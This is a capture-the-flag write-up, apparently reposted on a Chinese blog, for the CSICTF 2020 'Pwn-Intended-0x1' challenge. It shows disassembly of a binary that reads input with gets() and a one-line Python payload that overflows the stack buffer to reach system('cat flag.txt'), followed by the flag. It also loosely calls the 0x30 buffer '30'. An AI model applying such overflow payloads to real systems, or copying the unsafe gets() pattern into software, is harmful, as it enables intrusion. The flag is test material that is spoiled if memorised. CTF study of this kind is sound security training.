Pwn-Intended-0x1

发表于 2021-01-09 分类于 Challenge， 2020， CSICTF， Pwn
Challenge | 2020 | CSICTF | Pwn | Pwn-Intended-0x1

WriteUp来源

https://dunsp4rce.github.io/csictf-2020/pwn/2020/07/22/Pwn-Intended-0x1.html

by `AnandSaminathan`

题目描述

题目考点

解题思路

This is exactly same as coffer-overflow-0 from redpwn-2020.

Have to overwrite a variable with any value (other than zero).

```
1  mov    rax,QWORD PTR [rip+0x2ef4]
2  mov    esi,0x0
3  mov    rdi,rax
4  call   0x401040 <setbuf@plt>
5  mov    rax,QWORD PTR [rip+0x2ef0]
6  mov    esi,0x0
7  mov    rdi,rax
8  call   0x401040 <setbuf@plt>
9  mov    rax,QWORD PTR [rip+0x2eec]
10 mov    esi,0x0
11 mov    rdi,rax
12 call   0x401040 <setbuf@plt>
13 lea    rdi,[rip+0xe60]
14 call   0x401030 <puts@plt>
15 lea    rax,[rbp-0x30]
16 mov    rdi,rax
17 mov    eax,0x0
18 call   0x401060 <gets@plt>
19 lea    rdi,[rip+0xe5f]
20 call   0x401030 <puts@plt>
21 cmp    DWORD PTR [rbp-0x4],0x0
22 je     0x4011ed <main+151>
23 lea    rdi,[rip+0xe59]
24 call   0x401030 <puts@plt>
25 lea    rdi,[rip+0xe94]
26 mov    eax,0x0
27 call   0x401050 <system@plt> # system("cat flag.txt")
28 mov    eax,0x0
```

The buffer size is 30, so any input of size >= 48 (multiple of 16) should print the flag. This worked:

```
1 python2 -c "print 'A'*48" | ./pwn-intended-0x1
```

Flag

```
1 csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}
```

 # Challenge *# 2020* *# Pwn* *# CSICTF*
Secret-society
Pwn-Intended-0x2